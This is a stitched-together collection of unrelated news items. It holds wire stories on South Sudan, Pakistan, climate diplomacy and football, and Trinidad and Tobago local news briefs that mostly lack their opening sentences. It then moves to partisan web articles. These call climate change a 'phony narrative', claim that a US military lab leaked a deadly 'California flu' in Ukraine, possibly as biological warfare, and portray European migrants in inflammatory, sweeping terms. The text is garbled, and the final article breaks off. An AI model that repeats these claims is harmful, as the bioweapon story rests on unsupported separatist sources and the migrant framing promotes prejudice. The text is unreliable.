Kiir.Kiir's sacking of Machar as his deputy in 2013 precipitated the crisis that led to a conflict in December 2013. Fighting has often run along ethnic lines, pitting Kiir's dominant Dinka ethnic group against Machar's Nuer.Thousands of people have been killed and more than 2 million people forced to flee their homes during fighting in a nation that secured its independence in 2011.Oil production, on which the government depends, has plummeted and many of the nation's 11 million people have struggled to find enough food to eat.REUTERS DS SB2002 -- (Reuters) -- C-1-1-DL0177-696600.Xml
Amid mounting pressure for his resignation in the wake of Panama papers' leak, Pakistan Prime Minister Nawaz Sharif today offered to resign, if he was proven guilty in the probe into the allegations of corruption against him.In a televised address to the nation, Mr Sharif said he had decided to write to the Chief Justice of Supreme Court to request him to form a commission of inquiry against him. He said he will accept the recommendations of the Commission. ''I challenge all those who accuse me of having committed a tax fraud to come forward and produce the evidence. If the charges are proved true, I will quit immediately,'' Mr Sharif said."Once again, certain elements are attempting to destabilise Pakistan in the wake of Panama Papers," the Pakistan Premiere alleged. The Opposition has been demanding Mr Sharif's resignation ever since his name appeared in the Panama papers.Yesterday, Army chief Gen Raheel Sharif had sacked six officers on charges of corruption and earlier this week, he had in a statement said that there should be an across-the-board accountability, which was seen as a indirect attack on Mr Sharif. The Pakistan Prime Minister in his today's address said that his government had always supported accountability, and had taken steps to make taxpayers directory public on the website of Federal Board of Revenur (FBR).UNI NAZ RJ 2110 -- (UNI) -- C-1-1-DL0091-696730.Xml
Observing that every country will have to stand up and be counted in mitigation efforts with respect to climate change, Indian Environment Minister Prakash Javadekar said the developed and developing countries, both, will be tested on how they walk the talk they did at Paris Conference last December."Every country is on test. The developed world will be tested to adopt sustainable consumption in their countries and provide means of implementation to developing world. Developing world will be tested for planning comprehensively for achieving SDGs and utilise properly the funds provided by developed world. Both groupings will be tested on how they walk the talk and eradicate poverty," Mr Javadekar said in his speech on Sustainable Development Goals(SGD) in New York yesterday, ahead of signing the Paris Agreement."2015 has been a landmark year because collective wisdom of the world decided on two important issues. First, 17 SDGs and second, a very ambitious balanced agreement on climate change. It was historic, because both of these provide an assurance to the 7 billion people of the world that there will be sustainable development on all fronts, and there will be justice for poorer sections of the societies and poorer countries," Mr Javadekar said."I congratulate the world leadership for coming out with this solution and provide reassurance to the world. We must collectively work towards building a more equitable world, as only an equitable world can be sustainable. India attaches utmost importance to the 2030 agenda for sustainable development since the agenda articulates international development priorities and global development cooperation for the next fifteen years," he said.MORE UNI PRA RJ 2041 -- (UNI) -- C-1-1-DL0384-696676.Xml
Liverpool fans should raise the roof for returning manager Rafa Benitez when he brings his relegation-threatened Newcastle United to Anfield tomorrow, says Juergen Klopp."He's a very successful manager, nice person! Be louder than you have ever been -- that's absolutely okay. That's how I would say hello to a good old friend," Klopp, hoping to emulate Benitez's success at Liverpool, told a news conference."He still lives around here, nobody has to ignore this wonderful moment. Do how you feel!"Spaniard Benitez spent six years at Liverpool and famously took them to the Champions League title in 2005 when they recovered from 3-0 down against AC Milan in Istanbul to win the final on penalties.He also took them to the final in 2007, won the FA Cup in 2006 and regularly had Liverpool challenging near the Premier League summit, although he was unable to win it.Benitez, who had spells at Inter Milan and Real Madrid after leaving Liverpool, is now in the middle of very different challenge, that of trying to keep Newcastle in the top flight after replacing Steve McClaren.What looked like a hopeless cause now looks possible, with a victory against Swansea City and a draw with Manchester City giving them a chance of safety with four games left."They don't look like a relegation team, but that shows how strong this league is. It's pretty difficult to change direction," Klopp, whose side are five points behind fifth-placed Manchester United with a game in hand, said."They are in a good moment but we want to keep the points here, that's why we play on Saturday and so that's what we have to show."Klopp also offered an update on striker Divock Origi, who was carried off on a stretcher with an ankle injury during Liverpool's 4-0 thrashing of Everton in the Merseyside derby on Wednesday.He said the Belgium international could still return this season."It's an injury, it's serious, but we will try everything, everything to ensure that his season is not over without taking risks for the player -- that's how it is," he said."I'm long enough in this business to know we are all different, all individuals, so we don't have to say any general thing. We only have to work with him." REUTERS SHS GC2332 -- (Reuters) -- C-1-1-DL0329-696833.Xml
ILO Director-General pays courtesy call on Labour Minister

Bapt i s te-Primus apprised the Director- General and his team of the current activities that the Ministry has been engaged in and highlighted the sound relationship already had with the local ILO contingent. Ryder and his team aired several issues that had been raised with him by the labour fraction.

The Minister was presented with a copy of the ILO Convention 173, a convention which Ryder deemed apt for the current economic situation.

The meeting proved very productive as the ILO reiterated its commitment to support government and its policies in relation to labour issues.
CGWTU general secretary charged

De Bique-Meade, 57, of Pleasantville, appeared before a Justice of the Peace in the San Fernando Magistrates court yesterday and was granted her own bail to reappear before a magistrate today. The charges against De Bique-Meade stemmed from a meeting held on Wednesday at the San Fernando City Corporation (SFCC) offices with a negotiating team from the union headed by Aynsley Mathews.

The Corporations management had called a meeting with the union to discuss the laying off of 300 casual workers of the SFCC on Monday.

The Corporation took a decision not to re-employ the workers, most of whom are employed in the Citys garbage collection department.

The SFCC cited lack of funding as the reason for the lay-offs.

It was during the meeting that De Bique-Meade was arrested.

Yesterday, at about 2.45 pm, throngs of union members gathered at the SFCCs Municipal Police Headquarters at Penitence Street, San Fernando where De Bique-Meade was being kept while the charges were written up. Police officers then escorted her to the magistrates court, while the union members followed behind.

She later appeared before Justice of the Peace Norisha Pundit.

Attorney Dexter Bailey appeared on her behalf and pleaded for bail to be granted. The JP informed De Bique-Meade of the charges, the first of which alleged that on Wednesday, she, on the compound of the SFCC, used obscene language.

The second charge alleged that she resisted the arrest of Acting Corporal Griffith. The third charge alleged that De Bique-Meade assaulted WPC Coomansingh.

She was granted her own bail in the sum of $20,000 and ordered to reappear today.
Judge tells accused, sell more doubles to pay fine

This was the view of High Court Judge Justice Carla Brown-Antoine yesterday who also echoed the concern of a senior State attorney who said there is too much fighting among relatives and this nonsense was stop.

In the San Fernando High Court yesterday, Brown-Antoine told a doubles vendor, accused of chopping his uncle, that even if he has to sell an extra box of doubles, he must do so to compensate the elderly man.

If you sell 300 doubles a day, sell an extra 100 to pay him the compensation, Brown-Antoine told Adesh Deolal, 26, of Timithal Trace, Siparia.

Deolal chopped his uncle, Krishendath Paltoo, 56, of Timithal Trace, on Sunday May 6, 2007, at 8.30 pm, during a dispute. Yesterday, Deolal pleaded guilty to the charge of wounding with intent.

State Attorney Shabaana Shah, related how the incident happened based on investigations conducted by Corporal Fareed Khan of the Siparia CID. It is a charge which carries a maximum sentence of 15 years in jail with hard labour.

It was 8.30 pm when Deolal confronted Paltoo accusing him of telling people that he (Deolal) was stealing money. Deolal vowed to get a blade and chop him. The argument escalated at a time when Paltoo was visiting his mother and sister at their home in Timithal Trace. Deolal went for the cutlass and dealt his uncle a chop to the head. Attorney Rekha Ramjit told the judge that Deolal, nine years after the incident, is remorseful and willing to pay his uncle $15,000 as compensation. The plea was accepted by the judge, who commented that the court was not about locking up people in jail, but restorative justice in which every effort must be made to reunite families.

From the dock in the San Fernando High Court, Deolal told his uncle, I am sorry for what happened between me and you.

Im very sorry. Paltoo had good comments to make about his nephew and told Brown-Antoine that he took care of Deolal as a child.

More-so, he always knew him to be a committed worker.

Despite the Courts acceptance of the plea and the compensation as a form of partial sentence for Deolal, Shah said that there is too much violence among families, in which the younger members disrespect the elders. This chopping business must stop. The value of other peoples lives must be upheld, Shah said.

Brown-Antoine also ordered Deolal to sign a bond in the sum of $15,000 to keep the peace for three years.
$.5M bail for woman charged with cocaine trafficking

Maria La Coa, 42, of Quesnel Street, Arima, appeared before Senior Magistrate Indrani Cedeno in the Arima Magistrates Court on Wednesday, charged with trafficking cocaine. It is also alleged that a search warrant was executed at La Coas home where more cocaine and cash were seized by police.

La Coa was also charged with six counts of conspiracy, dating as far back as 2013. Sundays drug bust was part of an ongoing investigation into a multi-national drug ring and investigators say persons in other countries have been arrested in connection with conspiracy to traffic the illicit drug.

Local police investigators of the Organised Crime, Narcotics and Firearms Bureau are working closely with their counterparts at Interpol as investigations continue.

PC Marlon Rawlins of the OCNFB is leading investigations locally.

La Coa was represented in court by attorney Kelston Pope who pleaded for bail for his client.

Court prosecutor Sgt Jugmohan indicated to the magistrate that the Office of the Director of Public Prosecutions will be taking over the prosecution of the case.

La Coa will reappear in court on May 19.
IMF HELP

However, this assistance will have no conditions and is distinct from mechanisms at the IMF, which are used by countries to access financing. As Minister, Imbert sits ex officio, on the board of both bodies. We have made arrangements for experts, primarily from the World Bank but also from the IMF, to give us advice on a number of pressing matters, Imbert said at the weekly Cabinet media briefing at the Office of the Prime Minister, St Clair.

And that team is already here.

In fact they returned with me from Washington on the flight on Tuesday and they are already meeting with officials in the Ministry of Finance. Imbert is likely to address Parliament fully on the matter next week and report on the outcome of his recent trip to Washington where he held bilateral meetings with World Bank and IMF officials, on his measures to access technical assistance.

The Minister said the first area where the officials would assist relates to the petrochemical industry.

He said the State is seeking to formulate an appropriate oil and gas fiscal regime in the current environment of low oil prices and declining production in oil and gas.

One of the things we need to do at this time with low oil prices is to model a fiscal regime that would achieve two objectives, which are quite often contradictory, Imbert said. One is to maximise revenue for Government and also to provide sufficient incentives to oil companies to expand their exploration, their drilling and their production of oil and gas. In relation to the Heritage and Stabilisation Fund (HSF), Imbert said he was very fortunate to meet the original team which assisted Government back in 2006 with respect to the formation of the fund, which led to the legislation. That same team is returning to assist us after having looked at the performance of the fund from 2007 to now, the minister said.

Being the persons who gave the original advice, I think they are very well placed to help us going forward to see how we could maximise returns from the Heritage and Stabilisation Fund and also come up with appropriate rules for draw-downs from the fund. It is understood World Bank officials will advise on the HSF, while IMF officials will advise on the oil and gas regime. Imbert also said the World Bank will review Government spending.

The Minister said, I have also received an officer of assistance  which I have accepted  for the World Bank to send a team of experts to review public expenditure in all key areas of Government activity or spending in areas such as education, national security and so on, just to give us an update in terms of where we are in terms of how the Government spends money, to review it to see if we are getting value for money and so on.

We are also getting assistance on an appropriate foreign exchange policy and a number of other fiscal and monetary matters. Of his recent trip to Washington, Imbert said, I found this trip was very useful, very productive to Trinidad and Tobago. And if all the arrangements that we are putting in place work well, it will certainly assist this country going forward in this period of uncertain revenues. Its all in the interest of Trinidad and Tobago. On Moodys recent downgrade of Trinidad and Tobagos government bond rating, Imbert said the downgrade reflected the realities of a continued low oil-price outlook, as well as the slow pace of reform of statistical agencies. The Minister of Finance said the States overdraft was at 84 percent with just one billion available to run the country. And one billion runs the country for five days, Imbert said. He said a US$1 billion line of credit was open at Deutsche Bank and Cabinet has approved TT$3 billion in borrowing from the local market. Prime Minister Dr Keith Rowley earlier this month gave a commitment that Government will do all it can to avoid being, in the arms of the IMF.
Pathologist falls ill

Among the persons who were turned away were family members of William Rocke who was shot dead by police on Wednesday.

Relatives revealed that Rocke spent nine months in the Remand Yard, after he was arrested last year by a police officer stationed at the Duncan Street Police Station. He was later charged with being in possession of an illegal firearm. His matter was still pending when he was shot by police.

Police told reporters that officers of the Inter Agency Task Force were on patrol along Calvary Hill, Laventille, at about 5.40 am on Wednesday, when they noticed Rocke walking with a firearm in his hand.

Rocke allegedly opened fire on the police officers and when they returned fire, he was hit multiple times about the body. He was rushed to the Port of Spain General Hospital, but died during surgery.

However, relatives of the 41-year-old man say they do not believe Rocke fired at the police officers. I know my uncle. He is not shooting behind any police. I dont know if he had a gun on him, I would have to go with what the police say, said Rockes nephew.

But I am saying, even if he had a gun on him, they would have shot him down and found the gun and then said there was a shoot-out.

No one heard a single shot beside the shots from the police.

If the autopsy says that he was shot from the front, then that is what we have to go with. The nephew told Newsday that Calvary Hill was a dangerous place and residents are cautious at certain times during the night, but his uncle would wake up at five in the morning and begin his day as a CEPEP employee by sweeping the drains along the entire hill.
RC Priest Fr Hezekiah dies in Miami

Hezekiah was 82 years old and had been a priest for the past 55 years.

The Archdiocese of Port of Spain, in a release, said they did not know the exact cause of his death, only that he became ill and had to be treated.

Fr Clive Harvey said Hezekiahs death came as a shock because although he was 82, he behaved like he was 60.

We saw signs of aging, yes, but it did not affect him. He was totally committed to his priesthood.

He was not the easiest to get along with at times, but he was extremely generous. He was a senior priest to me and we looked up at him, but we never worked closely together. He worked like he was 60 years old, Harvey said, adding that Hezekiahs ministry extended throughout Trinidad and Tobago and North America.

According to Fr Garfield Rochard, Hezekiah was born in Port-of-Spain in the parish of the Holy Rosary and grew up in Maraval in the parish of the Assumption.

He attended St Marys College and later went to the seminary at St Benedicts. He was ordained in September, 1969.

He tried to diversify his ministry from this ordinary parish life and got involved in the healing ministry and people who had various problems. He became involved in prayer renewal in the parishes where he served. His strength in meeting people was praying for them.

He loved to visit his parishioners, those who felt lost or hurt or needed healing. He devoted himself to the people to bring them closer to the Lord, Rochard said.

Rochard added that Hezekiah served at Point-a-Pierre, Curepe, Princes Town, and the Cathedral of Immaculate Conception in 1985 for about five years. His final place of service was at the parish of St Charles, Tunapuna.

Msgr Christian Perreira said Hezekiah served many parishes across Trinidad, and was very caring and engaging, well loved and reached out to the sick and the young. He always had an open ear to all problems, he said.

Fr Esau Joseph said Hezekiah was a mentor to most of the priests including himself.

It is like he died on duty. He was a very good preacher, he said.

Harvey said there was no doubt that Hezekiah would want to be buried in his homeland.
EU yellow card on illegal fishing

The commission in a press release yesterday stated that in expanding its global fight against illegal fishing it has warned three countries  Kiribati, Sierra Leone and TT  that they risk being listed as uncooperative in the fight against illegal, unreported and unregulated fishing. It reported that this country in particular has a large fleet operating internationally where authorities do not control or inspect foreign vessels, nor cooperate with relevant flag States and the poor traceability system also causes the risk of laundering of fisheries products. The commission noted it is proposing a tailor-made action plan that will help put in place robust fisheries management control systems for these countries.

If identified issues are not resolved within six months, the EU can consider taking further steps, including trade sanctions on fisheries imports, the commission cautioned.

Rambharat, speaking in a telephone interview yesterday, said this country does not export fisheries products to the EU, but the risk from the poor traceability system is that vessels operating around Trinidad may actually ship products to Europe as though they came from Trinidad.

He reported that there are about 27 active fish-landing sites and in many cases they do not have a heavy or significant police presence.

You may find you always have the risk of illegal activities taking place (and)...boats could come in with anything including people, he added.

Rambharat stressed the need for greater interagency cooperation at the ports which includes the police, coast guard and Customs sharing information. He reported that he is working with his colleagues in the Works Ministry, which has control over some of the ports, and the National Security Ministry, which has control over coast guard patrols.

The minister explained that the bulk of the EU report deals with fisheries but their concern also covers a wide range of illegal activities including human trafficking, drug trafficking and arms trafficking. He said that it is an issue that arises out of a mission that the EU conducted last year in this country. Rambharat said at this stage it was about maintaining the good relationship with the EU as there is no risk to fisheries operations. He pledged that at the end of the six-month period everything will be put in place.
JTUM: Remove Farrell from council

What makes his remarks particularly disturbing is the fact that he is currently the chair of the Economic Advisory Board and, even worse, he is a member of the National Tripartite Advisory Council, said a statement by JTUM head Ancel Roget.

JTUM said Farrells remarks were disrespectful, arrogant and judgemental towards the trade union movement and to working people.

The fundamental elements for any tripartite process to work are mutual respect by the various sectors for each other and trust, said JTUM.

It added, Dr Farrell, who represents the Government in the tripartite council, has shown no respect for a key sector in the council.

In this regard he has eroded the trust necessary to build the kind of national consensus among these sectors, which consensus is required during this difficult economic period.

It would be impossible for trade unions to work with Dr Farrell in light of how he views the trade union movement in TT. The statement said Farrell seems to have forgotten that JTUM crafted a memorandum of understanding to provide a platform for national dialogue and consultation.

It suggested Farrell also forgot that JTUM had held a public policy forum on productivity plus a National Conference of Shop Stewards and Branch Officers on The State of the Economy and the Way Forward.

JTUM said Farrells presence on NTAC is counterproductive and he must go.

His remarks, coming in a time when the Government is taking measures without the necessary consultation and the high level of retrenchment currently taking place, has made it very difficult for trade unions to work with Dr Farrell, the statement said.

It urged that Farrells role as chair of the Economic Advisory Board be reviewed for allegedly blaming CEPEP and URP workers and trade unions for causing the current economic situation.

Such a pronouncement shows a complete lack of professionalism and a high degree of arrogance and bias, JTUM hit.

How therefore can we expect him to provide leadership of such an important board which is tasked with the responsibility to advice on economic matters? On Wednesday, the Federation of Independent Trade Unions and Non-Governmental Organisations called on Farrell to apologise for his remarks.
Govt unit to tackle terrorists

The Attorney General said the desk, manned by specialist legal officers, will liaise with the Special Branch, Interpol and the Office of the Director of Public Prosecutions. It will apply existing laws.

We intend to bring real results by way of effective implementation of existing laws, Al-Rawi said at the Cabinet media briefing at the Office of the Prime Minister, St Clair, Port-of-Spain.

He said red-flagging of terrorist suspects was a normal procedure.

Addressing concerns of Islamophobia, he said having a name like his, he was aware of the fact that secondary inquires are often made at airports. But he said the terrorism issue was larger than one religion.

In relation to ongoing probes into allegations of corruption, Al-Rawi said, Nothing will be done without due process. He said his office will not persecute individuals, but matters within the remits of State entities will be handled by those entities.

The Attorney General said evidence had to be presented. It isnt he-said-she-said gallery that takes you to conviction, Al Rawi said.
James: One man one vote for all PNM elections

It is an anomaly at a time when people are looking for more transparency and more accountable.

On June 26, the Tobago Council-Peoples National Movement (PNM) will use the one man, one vote system to elect the positions of Tobago Political Leader and Tobago Council Chairman. Then on July 10, at the Tobago Council convention, there will be election for the other 13 positions on the executive through the delegate system.

Present Tobago Council political leader and Chief Secretary, who intends to step down at the end of this term, 2013/2017, explained the reason why the council has decided to go with the two systems of election for its executive.

Speaking in the John Dial community centre last Sunday, he simply said It is for the protection of the party. He reasoned by saying when you examined elections results with one man, one vote for everybody, almost everyone on a particular team gets the same amount of votes as the leader. The last PNM and UNC elections are good examples according to him and it shows that the one man one vote system sometimes does not allow individuals to make individual choices for individual positions. Further he stated, You can do that in Trinidad with 41 constituencies but in Tobago with two only constituencies, the one man, one vote election for all the officers will lead to polarization, because you have a Tobago east and a Tobago west slate. James expressed that the one man, one vote process is far more democratic as a system but the Tobago Council may just be following the national party in its elections.

He said the one man, one vote Is less controllable and less manipulable. It is up now to the individual rather than to delegates that might support the Prime Minister or the Chief Secretary or to anyone who holds high office. On the decision to retain the delegate system as part of its executive election strategy, James is of the view that the entire process should be one man, one vote which would make the elections as democratic as possible.

He thinks the possibility exists in which the election of persons via the delegate system can be fixed and the persons duly elected as political leader and chairman can manipulate the delegate system to their personal advantage, which is something we would not like to see happening.

He applauds the fact that the one man, one vote system will be used for the two top positions but is not at all happy with the delegate system for use in the remaining 13 positions.

One man, one vote should have across the board as it is a far more democratic process and far less subject to manipulation he noted.

Why they are holding on to that I have no idea but I think they have to get rid of that in due course and the quicker they do it the better James said.
Al Gore is sending climate change propaganda minions to Republican candidate events

If you thought that former Vice President Al Gore had given up on politics after he lost his lone presidential race to Republican George W. Bush in 2000, you are mistaken. Gore has remained politically active, mostly by trying to push (and getting rich off ) a phony narrative that mankinds modern ways are destroying the planet.

So dedicated is the former VP to that narrative, that hes taken to trolling Republican candidates on the campaign trail for their partys 2016 presidential nomination.

In recent days, Breitbart News reported that Gore all but acknowledged the trolling, tweeting after GOP campaigning in New Hampshire that crowds at Republican events were applauding the Obama administrations climate actions  yes, those same EPA regulations that the U.S. Supreme Court, prior to Associate Justice Antonin Scalias death, ordered halted until they made their way through the court system.

Its hard to imagine that normal Republican voters would cheer a Marxist Democratic presidents environmental overreach, but there these Republicans are, at GOP campaign events, applauding rules that Gore obviously loves as well.

The Huffington Post has more on this fakery:

When Dan Kipnis stood up and asked Sen. Marco Rubio (R-Fla.) about his plan to address climate change, he thought he might face some angry audience members who didnt like his question. He was shocked to instead find people clapping for him.

I thought Id get some boos or something like that, the 65-year-old retired fishing boat captain from Miami Beach told The Huffington Post after Rubios Sunday town hall in Londonderry. But you know, these people up here in New Hampshire, theyre pretty enlightened.

This event wasnt an isolated incident. Questions about climate change frequently come up at GOP town halls, even though its an issue that the candidates rarely talk about unprompted and one that almost never comes up during debates.

Kipnis said he was also able to ask former Florida Gov. Jeb Bush (R) a climate change question at a New Hampshire town hall, and he received a similar reception.

I basically got a standing ovation, he said.

To believe this, youd have to believe that questions about rolling back government regulations and approving tax cuts for corporations would also get standing ovations at Democratic campaign events on their own.

Of course, if that Democrat faced an audience sprinkled with no small amount of Republican voters, chances are good those questions, too, would get vocal approval.

Oh, and there is this. Just who is Dan Kipnis, whom the far-Left HuffPo raced to interview? Gore gives us the answer.

As Gore revealed in his tweet, Kipnis is one of Gores trained climate missionaries whose job is to promote global warming hysteria. In fact, according to his web site, Kipnis is one of Al Gores top ten climate missionaries, Breitbart reported.

And there you have it.

HuffPo goes on to report that Kipnis also questioned Sen. Marco Rubio of Florida at a Rubio campaign event in New Hampshire before the state primary. But is Kipnis a New Hampshire voter?

Nope. He lives in Florida, like Rubio.

In fact, is Kipnis even a Republican? You be the judge. In 1985 he was appointed to the Florida Marine Fisheries Commission by Democrat Gov. Bob Graham.

My conclusion is that Al Gore is sending his minions out in an effort to embarrass Republican presidential candidates on the stump, writes Breitbarts Steve Milloy. A word to the wise: Beware of voters bearing climate questions.

And there is this. As Breitbart noted in December, and Gallup in 2014, climate change/global warming is not an issue with the vast majority of voters. And, as Gallup further notes in other surveys (here and here), Republicans, especially, are the most skeptical of global warming.

Does that sound like hordes of Republican voters flocking to campaign events to push for more global warming regulation?

Sources:

Breitbart.com

Freedom.news

HuffingtonPost.com

Science.NaturalNews.com

Submit a correction >>
Leftists outraged as European pools restrict migrants amid reports of rape, assault and public defecation

The Middle East-centric migrant problem in Europe continues to get worse, and there doesnt seem to be enough political will  yet  to do much about it. As such, local governments and countries alike are being forced to react to situations as they arise; should the response be termed negative by political Leftists in each of these countries, the policies are attacked as insensitive and bigoted, no matter how bad the behavior by migrants themselves.

Recent migrant-related stories have focused on increased criminal activity  mostly in the form of sexual assaults directed at women and theft of men  in Germany, Switzerland and Sweden, but this story comes from Austria, where a swimming bath that recently banned refugees from bathing without the accompaniment of their social workers has just caved in to political correctness following three days of harassment.

As noted by Breitbart News, new rules of admission at the city baths in Modling, Austria were reported by a local Lower Austria news service of state broadcaster ORF days ago, with a copy of the new rules posed to the front of the swimming pool. The bath had announced that, due to repeated complaints both by bathers and our own staff, individuals who have an immigration background would only be permitted to swim/bath if they were accompanied by proper escorts and had their identification paperwork on them.

Suicide of a continent

Breitbart News noted further:

Prompting the ban was bad behavior at the pool including invasions of the womens changing rooms, abusing staff, swimming in the baths while wearing outdoor clothes, and attempting to steal money from voluntary boxes. The troublemakers are reported to be part of a 180 strong migrant housing project nearby, and are thought to have been Afghan refugees.

Cue the faux outrage of the politically correct Marxist Left, whose adherents promptly assailed the new rules. Some took to social media (where they remained largely anonymous) to ask wholly inappropriate questions like, Am I Aryan enough for the city bath? Twitter, as usual, was a-flutter with criticism and outward displays of hatred towards swimming pool management, which some local media described as a s**tstorm.

In an attempt to draw comparisons to Nazi Germanys Third Reich (Adolph Hitler was actually Austrian), some Twitter campaigners asked how many generations of Austrian citizenship it took to be eligible to swim at the public bath.

Chances are good, of course, that none of these champions of immigrant rights and excusers of bad migrant behavior were actually victimized by that behavior, but what does a little context matter when youre trying to be a warrior for social justice, even at the expense of your own people?

Masturbating at a three-year-old

The improper behavior at public baths/swimming pools by refugees was not limited to Austria, however. As Breitbart London reported earlier, similar behavior by Middle East migrants was directed towards German bathers. There, a similar swimming ban was lifted after just 24 hours of Left-wing extremism, despite the fact that four children had been molested at the Bornheim, Germany, pool.

While the Modling pool moved to ban migrants from their waters before behavior turned violent, other baths have been less fortunate, with rapes of children, massive harassment of women, and defecation into water reported across Austria and Germany this year, Breitbart London reported, adding that at another Austrian pool in Linz where a horrified mother discovered migrant men masturbating at her three year old son.

But no worries  nothing to see here. Any mention of this outrageous behavior or any attempt to actually protect the European public that have been put at risk by their own Left-wing radical governments  officials who, by the way, dont have to worry about masturbating migrants sexually assaulting their kids or their women  will earn you the ire of people who, quite frankly, have lost their minds to PC.

The world is witnessing the slow, steady suicide of a continent.

Sources:

Breitbart News

The Local

Zero Hedge

Submit a correction >>
Over 20 soldiers dead, more than 200 hospitalized after U.S. lab leaks new and deadly virus in Ukraine

If you havent heard  and judging by the lack of coverage of this by the legacy media, you havent  a U.S. lab is being blamed for what would amount to an atrocity if it were committed on American soil.

As noted by Zero Hedge and reported by Ukrainian media, scores of soldiers were killed or sickened by a never-heard-of virus that likely leaked from a U.S. lab near the city of Kharkov. The illness? California flu.

More than 20 Ukrainian soldiers have died and over 200 soldiers are hospitalized in a short period of time because of new and deadly virus, which is immune to all medicines, Donbass News International reported.

The report stated further:

Donetsk Peoples Republic intelligence has reported that Californian Flu is leaked from the same place where research of this virus has been carried out. The laboratory is located near the city of Kharkov and its base for US military experts. Information from threatening epidemic is announced by Vice-Commander of Donetsk Army, Eduard Basurin.

California flu is not listed with the CDC

According to the medical personnel of the AFU units (Ukrainian troops) there were recorded mass diseases among the Ukrainian military personnel in the field, Basurin said in a Ministry of Defense situation report (SITREP). Physicians recorded the unknown virus as a result of which the infected get the high fever which cannot be subdues by any medicines, and in two days there comes the fatal outcome. Thus far from the virus there have died more than twenty servicemen, what is carefully shielded by the commandment of the AFU from the publicity.

The virus leak was first reported on Jan. 12 by the defense ministry.

We keep registering new facts of growing the epidemics of acute respiratory infections among the Ukrainian military, Basurin continued. Just since the beginning of this week more than 200 Ukrainian military have been taken to civil and military hospitals of Kharkov and Dnepropetrovsk.

It is important to repeat that the DPR intelligence previously reported the research being carried out in a private laboratory in the locality Shelkostantsiya, 30 km away from the city of Kharkov, and involving U.S. military experts, he continued. According to our information, it is there where the deadly Californian flu strain leaked from.

The flu was also reported by Radio Free Europe, which noted:

A flu epidemic is sweeping through the eastern Ukrainian city of Kramatorsk  and the conflict smoldering nearby is making the situation even worse. Doctors are unable to identify the exact strain of the virus, because the laboratory they need is across the front lines in separatist-controlled Donetsk.

A Web search for California flu turned up nothing, and there was no information about that type of flu on the Centers for Disease Control and Prevention Web site  only typical influenza information in the state of California.

What disease is this  really?

Whats more likely is that the strain of flu that has leaked from the U.S. military lab is a new strain of something that is both deadly and highly infectious  perhaps a new strain of biological warfare that perhaps legitimately did escape.

Or, was purposely tested.

Whatever it is, the Ukrainian Ministry of Defense is tracking it and is including information about its spread in regular intelligence SITREPs.

As of Jan. 25, spread of the virus was ongoing, Ukrainian government and military officials noted.

Meanwhile, while there is officially a ceasefire between Russia-backed separatist forces and the Ukrainian government forces, there are still sporadic exchanges of artillery and other small-scale clashes.

The Obama administration has sent U.S. troops  members of airborne units  to train Ukrainian forces. Also, NATO has sent trainers as well, including troops from various European nations and Canada.

Sources:

Zero Hedge

The Daily Beast

Submit a correction >>
Pentagon officials secretly collaborate with Russia to fight ISIS behind Obamas back, award-winning investigative journalist claims

Throughout President Obamas term in office  but in recent years particularly  there have been grumblings about his amateurish foreign policy and lack of coherent military policy in many of the worlds hot spots, where the United States was either engaged when he took office, or became engaged after he settled into the White House.

The Middle East has been Obamas biggest headache, as it has been for administrations dating back to the Carter era. But Obama has done little to make the situation easier for himself. He, along with his first secretary of state, Hillary Clinton  whos now running for president herself  encouraged the so-called Arab Spring movement all along, a movement which has seen regimes toppled in Egypt, Libya, Yemen and, nearly, Iraq and Syria. The entire region is aflame and there is little on the horizon in terms of White House policy that will change the situation on the ground anytime soon.

Syria has been particularly problematic. Into the Iraq void left by the departure of all American troops in 2011 stepped the Islamic State of Iraq and Syria (ISIS  or ISIL, depending on the variant used).

It was believed by the Obama White House that after nearly a decade of training Iraqi troops, they were finally prepared to stand on their own and protect their post-Saddam Hussein country. They werent.

Bypassing Obama

However, it is equally true that when ISIS arrived on the scene wide swaths of Syria had also been lost by the Bashar al-Assad regime  lost to various factions of rebel groups, each with a piece of the country, but all too weak and disorganized and fractious to finish the job of toppling Assad  which, by the way, was and remains an objective of the Obama administration.

If ISIS complicated matters, the introduction of Russian forces into the conflict, compliments of President Vladimir Putin, have made it downright unsolvable  at least for the foreseeable future. Thats because Russias objective is the polar opposite of ours; Putin, wanting to preserve historic Russian presence in Syria via a large strategically significant Mediterranean port at Tartus, has a stake in seeing Assad remain in power.

Having said that, according to renowned investigative journalist Seymour M. Hersh, U.S. and Russian intelligence have nonetheless been cooperating  and not at the behest of the White House, but rather in spite of it  via the sharing of intelligence targeting ISIS, since that is the one common thread, the one common enemy, Moscow and Washington share.

How so? ISIS, of course, is also attempting to bring down the Assad regime, though the Islamic caliphate is now most concerned about solidifying and preserving its territorial gains. The U.S. opposes ISIS as a terrorist organization.

Barack Obamas repeated insistence that Bashar al-Assad must leave office  and that there are moderate rebel groups in Syria capable of defeating him  has in recent years provoked quiet dissent, and even overt opposition, among some of the most senior officers on the Pentagons Joint Staff, Hersh writes.

Sharing intel with other nations

Their criticism has focused on what they see as the administrations fixation on Assads primary ally, Vladimir Putin. In their view, Obama is captive to Cold War thinking about Russia and China, and hasnt adjusted his stance on Syria to the fact both countries share Washingtons anxiety about the spread of terrorism in and beyond Syria; like Washington, they believe that Islamic State must be stopped, he continued.

Their dissent dates back to the summer of 2013, when an assessment of life in Syria should Assad be deposed, compiled by the Defense Intelligence Agency and the Joint Chiefs, then led by Gen. Martin Dempsey, projected that Syria would collapse into chaos and become a jihadi haven. That is pretty much what has happened to Libya and, for a time, parts of Iraq and Egypt.

The report also took a dim view of the White Houses continuance of a policy to arm the so-called moderate rebels. What happened, eventually, was that the covert arms program was co-opted by Turkey, since the guns and ammo went through a Turkish conduit; the moderates essentially disintegrated; and U.S. arms were flowing to all kinds of Syrian groups, including ISIS and other terrorist organizations.

Sensing that Obama would never directly approve their plan, the Joint Chiefs covertly sought out ways to share U.S. intelligence with the Syrian army. Germany, Israel and Russia were in contact with the Syrian army under Assad, and intelligence was shared through those nations.

The entire Hersh assessment is here, and it is worth the read.

This helps explain why Obama cant keep top generals and defense secretaries.

Sources:

BBC.com

IRB.co.uk

Submit a correction >>
SC lawmakers consider forcing journalists to register with the state to eliminate freedom of the press

South Carolina is considered a red state  that is, one whose legislature is dominated, supposedly, by small-government conservatives and whose governor, Nikki Haley, was a darling of the Tea Party when she was running for her first term. In fact, one of the most conservative of all U.S. senators, Tim Scott, was appointed by Haley to replace a retiring Republican in 2013.

So what gives with the South Carolina legislature considering a bill that is pro-big government, anti-free speech and smacks of authoritarianism?

